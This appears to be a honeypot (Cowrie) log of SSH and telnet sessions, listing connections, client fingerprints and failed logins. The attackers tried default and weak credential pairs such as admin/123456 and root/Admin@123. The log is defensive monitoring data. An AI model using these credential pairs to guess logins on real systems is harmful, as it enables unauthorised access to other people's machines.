{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:02.116190Z","src_ip":"45.156.87.204","session":"d8ef5c55d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:02.969112Z","src_ip":"94.26.106.229","session":"7820c0de4d32","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.059514Z","src_ip":"47.237.167.49","session":"ccdc9d2770f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42736,"dst_ip":"159.203.135.109","dst_port":22,"session":"04e75aee825a","protocol":"ssh","message":"New connection: 94.26.106.229:42736 (159.203.135.109:22) [session: 04e75aee825a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.083057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.087749Z","src_ip":"94.26.106.229","session":"04e75aee825a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.171140Z","src_ip":"94.26.106.229","session":"04e75aee825a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.288431Z","src_ip":"47.237.167.49","session":"ccdc9d2770f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35334,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a00e9ea3a9","protocol":"ssh","message":"New connection: 45.156.87.204:35334 (159.203.135.109:22) [session: 45a00e9ea3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.341808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.349896Z","src_ip":"45.156.87.204","session":"45a00e9ea3a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jdk","password":"jdk","message":"login attempt [jdk/jdk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.421201Z","src_ip":"94.26.106.229","session":"04e75aee825a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.431856Z","src_ip":"45.156.87.204","session":"45a00e9ea3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":60460,"dst_ip":"159.203.135.109","dst_port":22,"session":"4262d3312d1a","protocol":"ssh","message":"New connection: 124.155.125.131:60460 (159.203.135.109:22) [session: 4262d3312d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.671664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.677277Z","src_ip":"124.155.125.131","session":"4262d3312d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.682461Z","src_ip":"45.156.87.204","session":"45a00e9ea3a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:04.853464Z","src_ip":"124.155.125.131","session":"4262d3312d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:05.437591Z","src_ip":"47.237.167.49","session":"ccdc9d2770f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:05.506197Z","src_ip":"94.26.106.229","session":"04e75aee825a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753","message":"login attempt [root/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:05.587362Z","src_ip":"124.155.125.131","session":"4262d3312d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:05.788880Z","src_ip":"45.156.87.204","session":"45a00e9ea3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42752,"dst_ip":"159.203.135.109","dst_port":22,"session":"e823d48f37ad","protocol":"ssh","message":"New connection: 94.26.106.229:42752 (159.203.135.109:22) [session: e823d48f37ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:06.168435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:06.173028Z","src_ip":"94.26.106.229","session":"e823d48f37ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:06.257265Z","src_ip":"94.26.106.229","session":"e823d48f37ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:06.509174Z","src_ip":"94.26.106.229","session":"e823d48f37ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:06.671493Z","src_ip":"47.237.167.49","session":"ccdc9d2770f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:06.767742Z","src_ip":"124.155.125.131","session":"4262d3312d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:07.594884Z","src_ip":"94.26.106.229","session":"e823d48f37ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35342,"dst_ip":"159.203.135.109","dst_port":22,"session":"13d0714efe31","protocol":"ssh","message":"New connection: 45.156.87.204:35342 (159.203.135.109:22) [session: 13d0714efe31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.049124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.054331Z","src_ip":"45.156.87.204","session":"13d0714efe31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.136853Z","src_ip":"45.156.87.204","session":"13d0714efe31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42772,"dst_ip":"159.203.135.109","dst_port":22,"session":"1137009e694f","protocol":"ssh","message":"New connection: 94.26.106.229:42772 (159.203.135.109:22) [session: 1137009e694f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.298455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.303589Z","src_ip":"94.26.106.229","session":"1137009e694f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.387893Z","src_ip":"94.26.106.229","session":"1137009e694f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.396323Z","src_ip":"45.156.87.204","session":"13d0714efe31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:08.878638Z","src_ip":"94.26.106.229","session":"1137009e694f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55502,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a4522f08c6","protocol":"telnet","message":"New connection: 152.42.224.71:55502 (10.17.0.5:23) [session: 67a4522f08c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:09.349159Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:09.480220Z","src_ip":"45.156.87.204","session":"13d0714efe31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:09.963412Z","src_ip":"94.26.106.229","session":"1137009e694f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42790,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc82adc6099d","protocol":"ssh","message":"New connection: 94.26.106.229:42790 (159.203.135.109:22) [session: cc82adc6099d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:11.062520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:11.066668Z","src_ip":"94.26.106.229","session":"cc82adc6099d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:11.157602Z","src_ip":"94.26.106.229","session":"cc82adc6099d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:11.421540Z","src_ip":"94.26.106.229","session":"cc82adc6099d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35356,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a9d257fe60e","protocol":"ssh","message":"New connection: 45.156.87.204:35356 (159.203.135.109:22) [session: 8a9d257fe60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:11.899680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:11.904328Z","src_ip":"45.156.87.204","session":"8a9d257fe60e","protocol":"ssh"}
